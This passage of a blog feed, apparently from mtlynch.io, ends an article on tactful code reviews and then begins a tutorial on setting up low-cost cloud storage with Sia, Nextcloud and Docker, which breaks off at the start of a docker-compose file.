&lt;p>I prefer to keep my team&amp;rsquo;s style guide as Markdown under source control (e.g., &lt;a href="https://pages.github.com/">GitHub pages&lt;/a>). That way, any changes to the style guide go through the normal review process — someone has to explicitly approve the change, and everyone on the team has a chance to raise concerns. Wikis and Google Docs are acceptable options as well.&lt;/p>
&lt;p>&lt;strong>&lt;em>Option 3: The hybrid approach&lt;/em>&lt;/strong>&lt;/p>
&lt;p>By combining options 1 and 2, you can adopt an existing style guide as your base, and then maintain a local style guide to extend or override the base. A good example of this is the &lt;a href="https://chromium.googlesource.com/chromium/src/+/HEAD/styleguide/c++/c++.md">Chromium C++ style guide&lt;/a>. It uses &lt;a href="https://google.github.io/styleguide/cppguide.html">Google&amp;rsquo;s C++ style guide&lt;/a> as a base, but makes its own changes and additions on top of it.&lt;/p>
&lt;h3 id="start-reviewing-immediately">Start reviewing immediately&lt;/h3>
&lt;p>Treat code reviews as a high priority. When you&amp;rsquo;re actually reading the code and giving feedback, take your time, but &lt;em>start&lt;/em> your review immediately — ideally, within minutes.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/human-code-reviews-1/relay.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-1/relay_hu_8ddfd11ee1d62a7a.png 300w, https://mtlynch.io/human-code-reviews-1/relay_hu_123e2c2ae1cab708.png 600w, https://mtlynch.io/human-code-reviews-1/relay_hu_f077b7d5d80ac4d8.png 800w, https://mtlynch.io/human-code-reviews-1/relay.png 1000w'
 src="https://mtlynch.io/human-code-reviews-1/relay.png" alt="A code review relay race" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If a teammate sends you a changelist, it likely means that they are blocked on other work until your review is complete. In theory, source control systems allow the author to branch, continue working, and then forward-merge changes from the review into their new branch. In reality, there are about four developers total who can do that efficiently. It takes everyone else so long to untangle three-way diffs that it can cancel out any progress made waiting for the review to come back.&lt;/p>
&lt;p>When you start reviews immediately, you create a virtuous cycle. Your review turnaround becomes purely a function of the size and complexity of the author&amp;rsquo;s changelist. This incentivizes authors to send small, narrowly-scoped changelists. These are easier and more pleasant for you to review, so you review them faster, and the cycle continues.&lt;/p>
&lt;p>Imagine that your teammate implements a new feature that requires 1,000 lines of code changes. If they know you can review a 200-line changelist in about 2 hours, they can break their feature into changelists of about 200 lines each and get the whole feature checked in within a day or two. If, however, you take a day to do all code reviews, regardless of size, now it takes a week to get that feature checked in. Your teammate doesn&amp;rsquo;t want to sit around for a week, so they&amp;rsquo;re incentivized to send larger code reviews, like 500-600 lines each. These are more costly to review and yield poorer feedback because it&amp;rsquo;s more difficult to keep context on a 600-line change than a 200-line change.&lt;/p>
&lt;p>The absolute maximum turnaround on a review round should be one business day. If you&amp;rsquo;re struggling with a higher-priority issue and can&amp;rsquo;t complete a round of review in under a day, let your teammate know and give them the opportunity to reassign it to someone else. If you&amp;rsquo;re forced to decline reviews more than about once per month, it likely means that your team needs to reduce its pace so that you can maintain sane development practices.&lt;/p>
&lt;h3 id="start-high-level-and-work-your-way-down">Start high level and work your way down&lt;/h3>
&lt;p>The more notes you write in a given review round, the more you risk making the author feel overwhelmed. The exact limit varies by developer, but the danger zone generally begins in the range of 20-50 notes in a single round of review.&lt;/p>
&lt;p>If you&amp;rsquo;re worried about drowning the author in a sea of notes, restrict yourself to high-level feedback in the early rounds. Focus on issues like redesigning a class interface or splitting up complex functions. Wait until those issues are resolved before tackling lower-level issues, such as variable naming or clarity of code comments.&lt;/p>
&lt;p>Your low-level notes might become moot once the author integrates your high-level notes. By deferring them to a later round, you save yourself the nontrivial work of writing carefully-worded comments calling out the issues, and you spare the author from processing unnecessary notes. This technique also segments the layers of abstraction you focus on during the review, helping you and the author work through the changelist in a clear, systematic way.&lt;/p>
&lt;h3 id="be-generous-with-code-examples">Be generous with code examples&lt;/h3>
&lt;p>In an ideal world, the code author would be thankful for every review they receive. It&amp;rsquo;s an opportunity for them to learn, and it protects them from mistakes. In reality, there are a number of external factors that could cause the author to perceive the review negatively and resent you for giving them notes. Maybe they&amp;rsquo;re under pressure to meet a deadline, so anything other than your instant, rubber-stamp approval feels like obstruction. Maybe you haven&amp;rsquo;t worked together much, so they don&amp;rsquo;t trust that your feedback is well-intentioned.&lt;/p>
&lt;p>A great way to make an author feel good about the review process is to find opportunities to give them gifts during the review. And what&amp;rsquo;s the gift all developers love to receive? Code examples, of course.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/human-code-reviews-1/code-gift.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-1/code-gift_hu_7490c37e18950bc5.png 300w, https://mtlynch.io/human-code-reviews-1/code-gift_hu_3ee533266076ec18.png 600w, https://mtlynch.io/human-code-reviews-1/code-gift_hu_6015f980f4206d9d.png 800w, https://mtlynch.io/human-code-reviews-1/code-gift.png 800w'
 src="https://mtlynch.io/human-code-reviews-1/code-gift.png" alt="Receiving the gift of code" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you lighten the author&amp;rsquo;s load by writing out some of the changes you&amp;rsquo;re suggesting, you demonstrate that you are generous with your time as a reviewer.&lt;/p>
&lt;p>For example, imagine that you have a colleague who is not familiar with the &lt;a href="https://treyhunner.com/2015/12/python-list-comprehensions-now-in-color/">list comprehensions&lt;/a> feature of Python. They send you a code review that includes these lines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>urls = []
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> path &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> paths:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#39;https://&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url += domain
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url += path
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> urls.append(url)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Responding, &amp;ldquo;Can we simplify this with a list comprehension?&amp;rdquo; will annoy them because now they have to spend 20 minutes researching something they&amp;rsquo;ve never used before.&lt;/p>
&lt;p>They will be much happier to receive a note like the following:&lt;/p>
&lt;blockquote>
&lt;p>Consider simplifying with a list comprehension like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>urls = [&lt;span style="color:#ed9d13">&amp;#39;https://&amp;#39;&lt;/span> + domain + path &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> path &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> paths]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/blockquote>
&lt;p>This technique is not limited to one-liners. I&amp;rsquo;ll often create my own branch of the code to demonstrate a large proof of concept to the author, such as breaking up a large function or adding a unit test to cover an additional edge case.&lt;/p>
&lt;p>Reserve this technique for clear, uncontroversial improvements. In the list comprehension example above, few developers would object to an 83% reduction in lines of code. In contrast, if you write a lengthy example to demonstrate a change that is &amp;ldquo;better&amp;rdquo; based on your own personal taste (e.g., style changes), code examples make you look pushy instead of generous.&lt;/p>
&lt;p>Limit yourself to two or three code examples per review round. If you start writing the author&amp;rsquo;s whole changelist for them, it signals that you don&amp;rsquo;t think they&amp;rsquo;re capable of writing their own code.&lt;/p>
&lt;h3 id="never-say-you">Never say &amp;ldquo;you&amp;rdquo;&lt;/h3>
&lt;p>This one is going to sound weird, but hear me out: never use the word &amp;ldquo;you&amp;rdquo; in a code review.&lt;/p>
&lt;p>The decisions you reach in a review should be based on what makes the code better rather than who came up with the idea. Your teammate put significant effort into their changelist and is likely proud of the work they did. Their natural reaction to hearing criticism of their work is to feel defensive and protective.&lt;/p>
&lt;p>Word your feedback in a way that minimizes the risk of raising your teammate&amp;rsquo;s defenses. Be clear that you&amp;rsquo;re critiquing the code, not the coder. When an author sees &amp;ldquo;you&amp;rdquo; in a comment, it brings their focus away from the code and back to themselves. This increases the risk that they&amp;rsquo;ll take your criticism personally.&lt;/p>
&lt;p>Consider this harmless comment:&lt;/p>
&lt;blockquote>
&lt;p>You misspelled &amp;lsquo;successfully.&amp;rsquo;&lt;/p>&lt;/blockquote>
&lt;p>The author can interpret that note in two very different ways:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Interpretation 1&lt;/strong>: Hey, good buddy! You misspelled &amp;lsquo;successfully.&amp;rsquo; But I still think you&amp;rsquo;re smart! It was probably just a typo.&lt;/li>
&lt;li>&lt;strong>Interpretation 2&lt;/strong>: You misspelled &amp;lsquo;successfully,&amp;rsquo; dumbass.&lt;/li>
&lt;/ul>
&lt;p>Contrast this with a note that omits &amp;ldquo;you&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>sucessfully -&amp;gt; successfully&lt;/p>&lt;/blockquote>
&lt;p>The latter note is a simple correction and not a judgment of the author.&lt;/p>
&lt;p>Fortunately, it&amp;rsquo;s easy to rewrite your feedback to avoid the word &amp;ldquo;you.&amp;rdquo;&lt;/p>
&lt;p>&lt;strong>&lt;em>Option 1: Replace &amp;lsquo;you&amp;rsquo; with &amp;lsquo;we&amp;rsquo;&lt;/em>&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Can &lt;strong>you&lt;/strong> rename this variable to something more descriptive, like &lt;code>seconds_remaining&lt;/code>?&lt;/p>&lt;/blockquote>
&lt;p>becomes:&lt;/p>
&lt;blockquote>
&lt;p>Can &lt;strong>we&lt;/strong> rename this variable to something more descriptive, like &lt;code>seconds_remaining&lt;/code>?&lt;/p>&lt;/blockquote>
&lt;p>&amp;ldquo;We&amp;rdquo; reinforces the team&amp;rsquo;s collective responsibility for the code. The author may move on to a different company and so might you, but the team who owns this code will remain in one form or another. It can sound silly to say &amp;ldquo;we&amp;rdquo; when it&amp;rsquo;s clearly something you expect the author to do themselves, but silly is better than accusatory.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/human-code-reviews-1/move-couch.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-1/move-couch_hu_d29beaedb38344f1.png 300w, https://mtlynch.io/human-code-reviews-1/move-couch_hu_fa8dde97b49cbf84.png 600w, https://mtlynch.io/human-code-reviews-1/move-couch_hu_555eb8a347e286b8.png 800w, https://mtlynch.io/human-code-reviews-1/move-couch.png 800w'
 src="https://mtlynch.io/human-code-reviews-1/move-couch.png" alt="Moving couch cartoon" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>&lt;strong>&lt;em>Option 2: Remove the subject from the sentence&lt;/em>&lt;/strong>&lt;/p>
&lt;p>Another way to avoid using &amp;ldquo;you&amp;rdquo; is to use a shorthand that omits the subject from the sentence:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Suggest renaming&lt;/strong> to something more descriptive, like &lt;code>seconds_remaining&lt;/code>.&lt;/p>&lt;/blockquote>
&lt;p>You can achieve a similar effect with the &lt;a href="https://en.wikipedia.org/wiki/English_passive_voice">passive voice&lt;/a>. I generally avoid the passive voice like the plague in my technical writing, but it can be a helpful way of writing around &amp;ldquo;you&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>This variable &lt;strong>should be renamed&lt;/strong> to something more descriptive, like &lt;code>seconds_remaining&lt;/code>.&lt;/p>&lt;/blockquote>
&lt;p>An additional option is to phrase it as a question, beginning with &amp;ldquo;what about&amp;hellip;&amp;rdquo; or &amp;ldquo;how about&amp;hellip;&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>What about renaming&lt;/strong> this variable to something more descriptive, like &lt;code>seconds_remaining&lt;/code>?&lt;/p>&lt;/blockquote>
&lt;h3 id="frame-feedback-as-requests-not-commands">Frame feedback as requests, not commands&lt;/h3>
&lt;p>Code reviews require more tact and care than usual communication because there&amp;rsquo;s a high risk of derailing the discussion into a personal argument. You would expect reviewers to dial up their politeness in reviews, but bizarrely I&amp;rsquo;ve found them to go the opposite direction. Most people never say to a co-worker, &amp;ldquo;Hand me that stapler, then fetch me a soda.&amp;rdquo; But I&amp;rsquo;ve seen numerous reviewers frame feedback with similarly pushy commands, such as, &amp;ldquo;Move this class to a separate file.&amp;rdquo;&lt;/p>
&lt;p>Err on the side of being annoyingly gentle in your feedback. Frame your notes as requests or suggestions, not commands.&lt;/p>
&lt;p>Compare the same note framed in two different ways:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Feedback framed as command&lt;/th>
 &lt;th>Feedback framed as request&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Move the &lt;code>Foo&lt;/code> class to a separate file.&lt;/td>
 &lt;td>Can we move the &lt;code>Foo&lt;/code> class to a separate file?&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>People like to feel in control of their own work. Making a request of the author gives them a sense of autonomy.&lt;/p>
&lt;p>Requests also make it easier for the author to push back politely. Maybe they have a good reason for their choice. If you frame your feedback as a command, any pushback from the author comes across as disobedience. If you frame your feedback as a request or a question, the author can simply answer you.&lt;/p>
&lt;p>Compare how combative the conversation seems depending on how the reviewer frames their initial note:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Feedback framed as command (Combative)&lt;/th>
 &lt;th>Feedback framed as request (Cooperative)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;strong>Reviewer&lt;/strong>: Move the &lt;code>Foo&lt;/code> class to a separate file.&lt;br>&lt;strong>Author&lt;/strong>: I don&amp;rsquo;t want to do that because then it&amp;rsquo;s far away from the &lt;code>Bar&lt;/code> class. Clients will almost always use the two together.&lt;/td>
 &lt;td>&lt;strong>Reviewer&lt;/strong>: Can we move the &lt;code>Foo&lt;/code> class to a separate file?&lt;br>&lt;strong>Author&lt;/strong>: We could, but then it&amp;rsquo;s far away from the &lt;code>Bar&lt;/code> class, and clients will generally use these two classes together. What do you think?&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>See how much more civil the conversation becomes when you &lt;del>construct imaginary dialog to prove your point&lt;/del> frame your notes as requests instead of commands?&lt;/p>
&lt;h3 id="tie-notes-to-principles-not-opinions">Tie notes to principles, not opinions&lt;/h3>
&lt;p>When you give the author a note, explain both your suggested change and the &lt;em>reason&lt;/em> for the change. Instead of saying, &amp;ldquo;We should split this class into two,&amp;rdquo; it&amp;rsquo;s better to say, &amp;ldquo;Right now, this class is responsible for both downloading the file and parsing it. We should split it up into a downloader class and parsing class per the &lt;a href="https://en.wikipedia.org/wiki/Single_responsibility_principle">single responsibility principle&lt;/a>.&amp;rdquo;&lt;/p>
&lt;p>Grounding your notes in principles frames the discussion in a constructive way. When you cite a specific reason, like, &amp;ldquo;We should make this function private to minimize the class&amp;rsquo; public interface,&amp;rdquo; the author can&amp;rsquo;t simply respond, &amp;ldquo;No, I prefer it my way.&amp;rdquo; Or rather, they &lt;em>can&lt;/em>, but it would look silly because you demonstrated how the change satisfies a goal, and they just stated a preference.&lt;/p>
&lt;p>Software development is both an art and science. You can&amp;rsquo;t always articulate exactly what is wrong with a piece of code in terms of established principles. Sometimes code is just ugly or unintuitive, and it&amp;rsquo;s hard to pin down why. In these cases, explain what you can, but keep it objective. If you say, &amp;ldquo;&lt;strong>I&lt;/strong> found this hard to understand,&amp;rdquo; that&amp;rsquo;s at least an objective statement, as opposed to, &amp;ldquo;&lt;strong>this is&lt;/strong> confusing,&amp;rdquo; which is a value judgment and may not be true for every person.&lt;/p>
&lt;p>Provide supporting evidence where possible in the form of links. The relevant section of your team&amp;rsquo;s style guide is the best link you can provide. You can also link to documentation for the language or library. Highly-upvoted &lt;a href="https://stackoverflow.com">StackOverflow&lt;/a> answers can work as well, but the farther you stray from authoritative documentation, the shakier your evidence becomes.&lt;/p>
&lt;h2 id="part-two">Part two&lt;/h2>
&lt;p>If you enjoyed this post, check out &lt;a href="https://mtlynch.io/human-code-reviews-2/">the second half of this article&lt;/a>, which focuses on bringing reviews to a successful close without ugly conflict. It includes techniques for:&lt;/p>
&lt;ul>
&lt;li>Handling excessively large code reviews,&lt;/li>
&lt;li>Recognizing opportunities to give praise,&lt;/li>
&lt;li>Respecting the scope of a review, and&lt;/li>
&lt;li>Mitigating stalemates.&lt;/li>
&lt;/ul>
&lt;h3 id="how-to-do-code-reviews-like-a-human-part-two">&lt;strong>&lt;a href="https://mtlynch.io/human-code-reviews-2/">How to Do Code Reviews Like a Human (Part two)&lt;/a>&lt;/strong>&lt;/h3>
&lt;hr>
&lt;p>&lt;em>Edited by &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>. Illustrations by Loraine Yow. Thanks to &lt;a href="https://twitter.com/global4g">@global4g&lt;/a> for providing valuable feedback on an early draft of this post.&lt;/em>&lt;/p></content:encoded></item><item><title>Create Your Own Low-Cost Cloud Storage App with Sia and Nextcloud</title><link>https://mtlynch.io/sia-nextcloud/</link><pubDate>Sun, 06 Aug 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/sia-nextcloud/</guid><description>&lt;!-- markdownlint-disable blanks-around-fences blanks-around-lists -->
&lt;p>In today&amp;rsquo;s post, I&amp;rsquo;m going to show you how to set up your own cloud storage web app, similar to Dropbox or Google Drive, but with substantially lower costs. This solution provides cloud storage at ~$0.60 per TB/month. By comparison, the same storage would cost $8.25 per month on Dropbox or $10 per month on Google Drive.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1106px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-complete.png">
 &lt;img
 
 sizes="(min-width: 768px) 1106px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-complete_hu_eee4831eb30cde3f.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-complete_hu_675495a6f9d8e7d2.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-complete_hu_e631f0107471ce0f.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-complete.png 1106w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-complete.png" alt="Completed Nextcloud install" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="video-tutorial">Video tutorial&lt;/h2>
&lt;p>I created a screencast that walks through the steps of this guide and demonstrates the final result. It achieves an identical result to this blog post, but performs more configuration in GUIs, whereas this blog post uses the command line whenever possible.&lt;/p></description><content:encoded>&lt;!-- markdownlint-disable blanks-around-fences blanks-around-lists -->
&lt;p>In today&amp;rsquo;s post, I&amp;rsquo;m going to show you how to set up your own cloud storage web app, similar to Dropbox or Google Drive, but with substantially lower costs. This solution provides cloud storage at ~$0.60 per TB/month. By comparison, the same storage would cost $8.25 per month on Dropbox or $10 per month on Google Drive.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1106px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-complete.png">
 &lt;img
 
 sizes="(min-width: 768px) 1106px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-complete_hu_eee4831eb30cde3f.png 300w, https://mtlynch.io/sia-nextcloud/nextcloud-complete_hu_675495a6f9d8e7d2.png 600w, https://mtlynch.io/sia-nextcloud/nextcloud-complete_hu_e631f0107471ce0f.png 800w, https://mtlynch.io/sia-nextcloud/nextcloud-complete.png 1106w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-complete.png" alt="Completed Nextcloud install" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="video-tutorial">Video tutorial&lt;/h2>
&lt;p>I created a screencast that walks through the steps of this guide and demonstrates the final result. It achieves an identical result to this blog post, but performs more configuration in GUIs, whereas this blog post uses the command line whenever possible.&lt;/p>
&lt;p>If you prefer video tutorials, I recommend you download the files in the &lt;a href="#create-files-and-folders-for-docker">&amp;ldquo;Create files and folders for Docker&amp;rdquo;&lt;/a> section below and then follow along with the video.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/i3G5RIXJCLk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>This guide is aimed at &lt;strong>intermediate users&lt;/strong>. If you don&amp;rsquo;t have any experience with Docker containers or virtual machines or you&amp;rsquo;re not comfortable using the command line, it will be difficult for you to follow this guide.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 597px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/bad-time.png">
 &lt;img
 
 sizes="(min-width: 768px) 597px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/bad-time_hu_eff40fb190c101f0.png 300w, https://mtlynch.io/sia-nextcloud/bad-time.png 597w'
 src="https://mtlynch.io/sia-nextcloud/bad-time.png" alt="You&amp;#39;re gonna have a bad time" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I used Windows 10 in the video demo, but this tutorial is completely system-agnostic. The steps I provide will work on any 64-bit operating system that supports Docker, which includes Windows, Mac OS X, Linux, and even some &lt;a href="https://mtlynch.io/sia-via-docker">network storage devices&lt;/a>.&lt;/p>
&lt;p>To complete this guide, you will need:&lt;/p>
&lt;ul>
&lt;li>At least 500 Siacoin (SC)
&lt;ul>
&lt;li>You can either &lt;a href="https://web.archive.org/web/20221222160421/https://siasetup.info/guides/buying-siacoins">buy it&lt;/a> or &lt;a href="https://mtlynch.io/windows-sia-mining/">mine it&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>6 GB of free disk space, preferably on a solid-state drive (SSD)&lt;/li>
&lt;li>&lt;a href="https://store.docker.com/search?offering=community&amp;amp;type=edition">Docker Community Edition&lt;/a> (free) installed on your system&lt;/li>
&lt;/ul>
&lt;h2 id="time-required">Time required&lt;/h2>
&lt;p>The steps in this guide require about &lt;strong>20 minutes&lt;/strong> of active time. However, there are several points in the installation process where you must wait minutes to hours for Sia to complete processing, so the total time is 3-4 hours.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Create Docker containers&lt;/strong>: 5 minutes&lt;/li>
&lt;li>&lt;strong>Configure Sia&lt;/strong>: 10 minutes active time, 3-4 hours total time&lt;/li>
&lt;li>&lt;strong>Configure Nextcloud&lt;/strong>: 5 minutes&lt;/li>
&lt;/ul>
&lt;h2 id="components-of-this-solution">Components of this solution&lt;/h2>
&lt;h3 id="sia">Sia&lt;/h3>













 















&lt;div class="img align-left" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/sia-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/sia-logo.png 260w'
 src="https://mtlynch.io/sia-nextcloud/sia-logo.png" alt="Sia logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I use &lt;strong>Sia&lt;/strong> in this solution to provide backend storage for the web app. I&amp;rsquo;ve written &lt;a href="https://mtlynch.io/tags/sia">a few posts&lt;/a> about Sia previously, as it&amp;rsquo;s one of my favorite new technologies. &lt;a href="https://sia.tech">Sia&lt;/a> is a decentralized file storage network. Users can connect to Sia and &lt;a href="https://mtlynch.io/sia-via-docker/">rent out their unused disk space&lt;/a> to earn money. Prices on the Sia network are very low right now, which is how you can build a cloud storage solution and pay so little for disk space.&lt;/p>
&lt;h3 id="nextcloud">Nextcloud&lt;/h3>
&lt;p>If you&amp;rsquo;re familiar with Sia, you might be aware that Sia has its own graphical user interface, called &lt;a href="https://github.com/NebulousLabs/Sia-UI">Sia-UI&lt;/a>. This UI is limited in functionality. Its main weakness is that it&amp;rsquo;s a desktop app, so you can only access your files from a single computer. It doesn&amp;rsquo;t support any media viewing, so if you want to view photos or video within your cloud storage, you have to copy the file to a folder on your local machine and open the copy.&lt;/p>













 















&lt;div class="img align-right" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/nextcloud-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/nextcloud-logo.png 260w'
 src="https://mtlynch.io/sia-nextcloud/nextcloud-logo.png" alt="Nextcloud logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>To overcome Sia-UI&amp;rsquo;s limitations, I use &lt;strong>Nextcloud&lt;/strong> in this tutorial. &lt;a href="https://www.nextcloud.com">Nextcloud&lt;/a> is an open-source cloud storage web app. It offers a web interface similar to Dropbox or Google Drive. Nextcloud is designed for compatibility with many different storage providers, including Amazon S3, Dropbox, and OpenStack. In February 2017, the Sia team wrote &lt;a href="https://github.com/NebulousLabs/Sia-Nextcloud">a custom plugin&lt;/a> for Nextcloud, which I will use to connect Nextcloud with Sia.&lt;/p>
&lt;p>If you&amp;rsquo;re interested in testing out Nextcloud before you proceed further you can try a &lt;a href="https://demo.nextcloud.com/">free, instant demo&lt;/a> on the Nextcloud website.&lt;/p>
&lt;h3 id="docker">Docker&lt;/h3>













 















&lt;div class="img align-right" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/sia-nextcloud/docker-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/sia-nextcloud/docker-logo.png 260w'
 src="https://mtlynch.io/sia-nextcloud/docker-logo.png" alt="Docker logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Nextcloud is tricky to install because it requires a database, a web server, and several third-party software libraries. Rather than go through the tedium of Nextcloud&amp;rsquo;s installation process, I use &lt;strong>Docker&lt;/strong> to handle the entire setup.&lt;/p>
&lt;p>Docker allows developers to build apps in &amp;ldquo;containers.&amp;rdquo; In Docker terms, a container is an isolated environment where the app has access to all the components that it needs to run and nothing extra. In this guide, you&amp;rsquo;ll create containers for Sia and Nextcloud and use a feature called &lt;code>docker-compose&lt;/code> to join them together so they can communicate.&lt;/p>
&lt;h2 id="set-up-docker-containers">Set up Docker containers&lt;/h2>
&lt;h3 id="create-files-and-folders-for-docker">Create files and folders for Docker&lt;/h3>
&lt;p>To begin, you&amp;rsquo;ll create a directory for this solution and download all the necessary files:&lt;/p>
&lt;ol>
&lt;li>Create a directory called &lt;code>sia-nextcloud&lt;/code>. You&amp;rsquo;ll be downloading the full blockchain within this folder, so make sure it&amp;rsquo;s on a drive with at least 6 GB of free space.&lt;/li>
&lt;li>Download the three files below into the &lt;code>sia-nextcloud&lt;/code> directory:
&lt;ul>
&lt;li>&lt;a href="docker-compose.yml">&lt;code>docker-compose.yml&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="Dockerfile.nextcloud">&lt;code>Dockerfile.nextcloud&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="Dockerfile.sia">&lt;code>Dockerfile.sia&lt;/code>&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Within &lt;code>sia-nextcloud&lt;/code> create two directories: &lt;code>sia-data&lt;/code> and &lt;code>sia-uploads&lt;/code>.&lt;/li>
&lt;/ol>
&lt;p>After downloading these files and creating the appropriate folders, your directory should look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>sia-nextcloud/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sia-data/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sia-uploads/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> docker-compose.yml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Dockerfile.nextcloud
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Dockerfile.sia
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Below, I&amp;rsquo;ve included the full text of each file and a brief discussion of what each one is doing.&lt;/p>
&lt;h4 id="docker-composeyml">docker-compose.yml&lt;/h4>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">version&lt;/span>:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;3&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">volumes&lt;/span>:&lt;span style="color:#666">
